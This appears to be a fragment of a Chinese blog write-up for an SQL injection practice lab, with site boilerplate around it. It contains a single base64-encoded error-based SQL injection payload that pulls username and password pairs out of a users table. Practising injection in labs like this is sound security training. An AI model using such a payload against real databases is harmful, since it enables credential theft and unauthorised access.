RHVtYiIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2Usc3Vic3RyKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCdAJyxwYXNzd29yZCkgZnJvbSBzZWN1cml0eS51c2VycyksMzEsMzEpKSkgIw==

image.png
image.png


Page1 over

前进!!!

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值